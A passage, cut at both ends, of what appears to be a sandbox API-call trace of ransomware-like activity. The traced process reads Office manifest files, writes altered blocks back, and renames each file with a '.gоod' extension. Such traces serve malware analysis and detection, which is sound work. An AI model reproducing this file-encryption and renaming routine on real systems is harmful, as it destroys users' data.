dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.306] GetFileType (hFile=0x6e0) returned 0x1 [0177.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0177.306] GetFileType (hFile=0x6e0) returned 0x1 [0177.307] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0177.307] ReadFile (in: hFile=0x6e0, lpBuffer=0x3489e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3489e70*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0177.775] CloseHandle (hObject=0x6e0) returned 1 [0177.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0177.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.775] GetFileType (hFile=0x6e0) returned 0x1 [0177.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0177.775] GetFileType (hFile=0x6e0) returned 0x1 [0177.775] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x2b8a [0177.776] WriteFile (in: hFile=0x6e0, lpBuffer=0x34231a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34231a0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0177.776] CloseHandle (hObject=0x6e0) returned 1 [0177.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0177.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.777] GetFileType (hFile=0x6e0) returned 0x1 [0177.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0177.777] GetFileType (hFile=0x6e0) returned 0x1 [0177.777] ReadFile (in: hFile=0x6e0, lpBuffer=0x34254b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34254b8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0177.804] CloseHandle (hObject=0x6e0) returned 1 [0177.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0177.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.804] GetFileType (hFile=0x6e0) returned 0x1 [0177.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0177.805] GetFileType (hFile=0x6e0) returned 0x1 [0177.805] WriteFile (in: hFile=0x6e0, lpBuffer=0x34241b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34241b8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0177.805] CloseHandle (hObject=0x6e0) returned 1 [0177.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5d [0177.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0177.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6630489a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b9a)) returned 1 [0177.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0177.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml.gоod")) returned 1 [0177.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0177.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0177.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34a3a40 | out: lpFileInformation=0x34a3a40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194)) returned 1 [0177.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0177.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0177.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0177.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.808] GetFileType (hFile=0x6e0) returned 0x1 [0177.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0177.808] GetFileType (hFile=0x6e0) returned 0x1 [0177.808] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0177.808] ReadFile (in: hFile=0x6e0, lpBuffer=0x34a3f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34a3f78*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0178.092] CloseHandle (hObject=0x6e0) returned 1 [0178.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0178.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0178.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.877] GetFileType (hFile=0x818) returned 0x1 [0178.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0178.877] GetFileType (hFile=0x818) returned 0x1 [0178.877] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x17194 [0178.877] WriteFile (in: hFile=0x818, lpBuffer=0x366a600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x366a600*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0178.885] CloseHandle (hObject=0x818) returned 1 [0178.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0178.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0178.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.886] GetFileType (hFile=0x818) returned 0x1 [0178.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0178.886] GetFileType (hFile=0x818) returned 0x1 [0178.886] ReadFile (in: hFile=0x818, lpBuffer=0x366e2e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x366e2e8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0179.260] CloseHandle (hObject=0x818) returned 1 [0179.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0179.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0179.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0179.261] GetFileType (hFile=0x818) returned 0x1 [0179.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0179.261] GetFileType (hFile=0x818) returned 0x1 [0179.261] WriteFile (in: hFile=0x818, lpBuffer=0x3484dc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3484dc0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0179.261] CloseHandle (hObject=0x818) returned 1 [0179.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0179.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6c [0179.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0179.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670faf34, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x171a4)) returned 1 [0179.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0179.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.gоod")) returned 1 [0179.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0179.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0179.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3506d90 | out: lpFileInformation=0x3506d90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984)) returned 1 [0179.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0179.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0179.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0179.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0179.264] GetFileType (hFile=0x818) returned 0x1 [0179.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0179.264] GetFileType (hFile=0x818) returned 0x1 [0179.264] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0179.264] ReadFile (in: hFile=0x818, lpBuffer=0x3507258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3507258*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0179.265] CloseHandle (hObject=0x818) returned 1 [0179.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0179.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0179.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0179.266] GetFileType (hFile=0x818) returned 0x1 [0179.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0179.266] GetFileType (hFile=0x818) returned 0x1 [0179.266] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x17984 [0179.266] WriteFile (in: hFile=0x818, lpBuffer=0x3508548*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3508548*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0179.267] CloseHandle (hObject=0x818) returned 1 [0179.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0179.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0179.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0179.267] GetFileType (hFile=0x818) returned 0x1 [0179.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0179.267] GetFileType (hFile=0x818) returned 0x1 [0179.267] ReadFile (in: hFile=0x818, lpBuffer=0x350a860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x350a860*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0180.948] CloseHandle (hObject=0x818) returned 1 [0180.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0180.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0180.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0180.948] GetFileType (hFile=0x818) returned 0x1 [0180.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0180.948] GetFileType (hFile=0x818) returned 0x1 [0180.949] WriteFile (in: hFile=0x818, lpBuffer=0x33f7cd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33f7cd0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0181.388] CloseHandle (hObject=0x818) returned 1 [0181.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0181.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5f [0181.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0181.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x68555db2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17994)) returned 1 [0181.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0181.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml.gоod")) returned 1 [0181.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0181.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x36de950 | out: lpFileInformation=0x36de950*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc)) returned 1 [0181.421] SetThreadErrorMode (dwNewMode=0x0, 